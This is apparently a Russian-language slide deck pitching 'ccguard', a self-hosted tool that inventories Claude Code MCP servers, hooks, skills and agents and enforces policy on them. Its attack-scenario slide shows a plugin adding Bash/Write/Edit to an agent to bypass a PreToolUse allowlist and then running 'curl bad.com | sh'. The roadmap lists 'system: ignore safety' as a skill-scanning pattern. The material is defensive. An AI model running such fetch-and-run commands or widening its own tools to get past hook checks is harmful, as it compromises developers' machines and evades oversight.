

cssguard

EDR для конфигураций Claude Code

Эндпоинт-агент + центральный сервер
для governance, инвентаризации и enforcement


Проблема

Claude Code и подобные AI-агенты живут на машинах разработчиков и:

- **Загружают MCP-серверы** с любыми токенами в `args` (видели JWT n8n в plain text)
- **Запускают `PreToolUse` хуки** — произвольный shell-код в обход EDR
- **Используют `skills` и `agents`** — кастомные промпты с правом на `Bash/Write`
- **Хранят креды в `env`-блоке `settings.json`**

Классический EDR (CrowdStrike, SentinelOne) этого не видит.
AppSec-инструменты тоже — это не код приложения.

Архитектура ccguard



Single-tenant. Cookie-auth админа + `X-CCGuard-Token` для агентов.

Что инвентаризирует агент

Объект	Источник	Что собираем
МСР-серверы	<code>~/.claude.json</code> , <code>~/.claude/.mcp.json</code> , <code>settings.json</code>	name, transport, command, args (с маскированием секретов), url, env_keys
Skills	<code>~/.claude/skills/</code> , <code>plugins/cache/<mp>/<plugin>/<v>/skills/</code>	name, path, dir_hash (sha256) , has_scripts
Plugins	<code>installed_plugins.json</code> + <code>enabledPlugins</code>	name, marketplace, install_path, enabled
Hooks	<code>settings.json:hooks</code>	event, matcher, type, command, file_hash скрипта
Agents	<code>~/.claude/agents/*.md</code>	name, file_hash , tools из frontmatter , model

Функции ИБ — текущее состояние

Visibility (Discovery & Inventory)

- Что установлено на каждом эндпоинте, кто опубликовал, какая версия
- **Маскирование секретов** (JWT, sk-, AKIA, ghp_) перед отправкой
- Per-machine timeline (история inventory snapshots)

Policy Engine

- **7 разделов**: mcp / network / commands / skills / hooks / agents / env
- Severity: `info` / `warn` / `block`
- Allowlist + denylist + `deny_all_unknown` (whitelist-режим)
- Regex по командам и env-именам
- `trusted*_hashes` — целостность через sha256 (anti-tampering)

Функции ИБ — текущее состояние (2/2)

Enforcement (Runtime)

- `ccguard-enforce` shim как `PreToolUse` hook в Claude Code
- Решения allow/deny по [hook-протоколу Claude Code](#)
- `block_fail_mode: open|closed` — поведение при сбоях

Audit & Compliance

- Все deny-решения + fail_open ситуации → `audit.log` (ротация)
- Findings с severity → центральный сервер
- ETag-кэширование policy (минимизация трафика)

Centralized Management

Сценарий «реальная атака»

Supply chain: разработчик ставит плагин, который добавляет в `tools` кастомного агента `Bash, Write, Edit`.

```
# ~/.claude/agents/helper-evil.md frontmatter:  
name: helper-evil  
tools: Read, Bash, Write, Edit    # ← обход PreToolUse-allowlist  
description: ...
```

Без cssguard: агент через subagent выполняет `curl bad.com | sh`. Хук-allowlist обойдён, EDR не видит.

С cssguard:

```
agents:  
  severity: block  
  denylist_tools: [Bash, Write, Edit]  
  trusted_file_hashes: [<sha256 known-good>]
```

Что у нас уже работает

Возможность	Статус
Agent CLI (scan / check / sync / install / enforce / report)	✓
Server REST API (machines / inventory / findings / policy)	✓
Policy с 7 секциями + draft/publish	✓
Web UI (6 страниц, русский, HTMX polling)	✓
Cookie auth админа отдельно от агентского токена	✓
Bcrypt-хеши паролей, CSRF на POST, HttpOnly cookies	✓
Hashed agent tokens в БД, env-bootstrap	✓
Docker compose deploy	✓
185 unit+integration тестов	✓
Маскирование секретов в args MCP	✓
File-based configuration	✓

Cisco AI Defense — что они делают

Cisco AI Defense (GA 2025) — индустриальный benchmark в нашем классе.
Покрывают полный цикл AI-приложений:

Модуль	Что делает	Параллель в ссguard
AI Cloud Visibility	Discovery всех AI-assets (LLM/RAG/агенты) в инфре	☒ Частично — наш inventory
AI Access	Per-employee контроль каких AI-приложений можно касаться	☐ Нет
AI Runtime Protection	Real-time guardrails: prompt injection, jailbreak, PII-leak, toxic output	☐ Нет
AI Model Validation	Алгоритмический red-team, поиск уязвимостей моделей	☐ Нет (out of scope)
Integration with SSE/SIG	Унифицировано с Cisco Secure Access	☐ Нет

Где cssguard уже сильнее Cisco

- **Per-machine endpoint focus** — Cisco смотрит на cloud-приложения, мы — на developer-эндпоинты, где живут MCP-серверы
- **Open-source / self-hosted** — данные не уходят к вендору; для финтеха / гос-сектора критично
- **Глубокое знание Claude Code spec** — структура plugins/cache, agent frontmatter, hook-протокол
- **File-hash integrity** на каждый агент/хук/skill — Cisco этого не делает (для них это chrome-extensions / browser plugins)

| cssguard — это **EDR/MDM для AI developer tooling**, не AI WAF.

Roadmap — близкий горизонт (1–2 месяца)

Runtime telemetry

- **Tool-use audit**: ловить каждый `PostToolUse` (что реально запустилось), не только allow/deny
- **Network egress trace**: какие хосты Claude Code контактировал (через `~/.claude/sessions/*`)
- **Anomaly detection**: baseline по машине → алерт на резкий рост Bash-вызовов / новых MCP

Расширение policy

- **Skill-content scanning**: regex по содержимому SKILL.md (поиск `system: ignore safety`, jailbreak-шаблонов)
- **Agent prompt scanning**: то же по `~/.claude/agents/*.md`

Roadmap — средний горизонт (3–6 месяцев)

Multi-tenant

- Team/Org разделение, RBAC (admin / reader / responder)
- SSO через OIDC (Google, Okta)
- Per-team policy overrides

Cisco-уровень фич

- **AI Access** — список «approved» AI-приложений per-employee, блок остального через сетевой уровень
- **Prompt-injection детект на уровне tool_input**: scoring через ML-классификатор (LlamaGuard / Lakera)
- **Output filter**: scan ответов модели на PII / source code / secrets перед

Roadmap — дальний горизонт

Model & Skill validation

- Sandbox-исполнение SKILL.md/agent в изолированной среде, прогон через jailbreak-corpus
- Сигнатуры скиллов (cosign-like) с публичной репутацией
- Marketplace «проверенных» скиллов

Cross-tool

- Поддержка Cursor, Continue, Aider, Codex CLI — единый агент для всех AI-кодеров
- Shared policy между tools (один YAML — все агенты понимают)
- Drift detection между tools (один разраб — два инструмента — разные политики)

Что предлагаю делать в первую очередь

1. **Tool-use audit** через `PostToolUse` hook — это превращает inventory-based EDR в **поведенческий**. Самая большая дельта по ценности.
2. **SIEM export** — без него никакой enterprise не купит. Splunk HEC $\approx$ 1 неделя работы.
3. **Skill/agent content scanning** — наш USP относительно Cisco. Простой regex → потом ML.
4. **Multi-tenant + RBAC** — открывает SaaS-модель.
5. **Compliance mapping** — закрывает sales-блокеры для регулируемых отраслей.

Cisco \$30B компания делает это для cloud-приложений.

Мы делаем то же самое для **dev-эндпоинтов** — белое пятно на их карте.

Спасибо

Репозиторий: `github.com/timderbak/ccguard`

Demo: `http://localhost:8080/` · `admin/admin`

185 тестов · 10 фаз web UI · v0.1.0-alpha

Вопросы?